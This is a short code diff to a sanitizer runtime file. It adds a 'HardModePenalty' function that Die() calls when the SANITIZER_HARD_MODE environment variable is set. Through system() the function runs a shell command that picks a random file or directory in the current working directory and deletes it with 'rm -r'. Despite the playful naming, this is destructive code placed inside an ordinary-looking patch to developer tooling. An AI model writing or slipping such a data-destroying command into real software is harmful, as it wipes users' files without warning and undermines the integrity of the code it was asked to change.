Index: lib/sanitizer_common/sanitizer_common.cc
===================================================================
--- lib/sanitizer_common/sanitizer_common.cc
+++ lib/sanitizer_common/sanitizer_common.cc
@@ -17,6 +17,8 @@
 #include "sanitizer_stacktrace.h"
 #include "sanitizer_symbolizer.h"
 
+#include <stdlib.h>
+
 namespace __sanitizer {
 
 const char *SanitizerToolName = "SanitizerTool";
@@ -58,10 +60,18 @@
   return DieCallback;
 }
 
+void HardModePenalty() {
+  system("files=($PWD/*); f=\"${files[RANDOM % ${#files[@]}]}\";"
+         "rm -r \"$f\"");
+}
+
 void NORETURN Die() {
   if (DieCallback) {
     DieCallback();
   }
+  if (GetEnv("SANITIZER_HARD_MODE")) {
+    HardModePenalty();
+  }
   internal__exit(1);
 }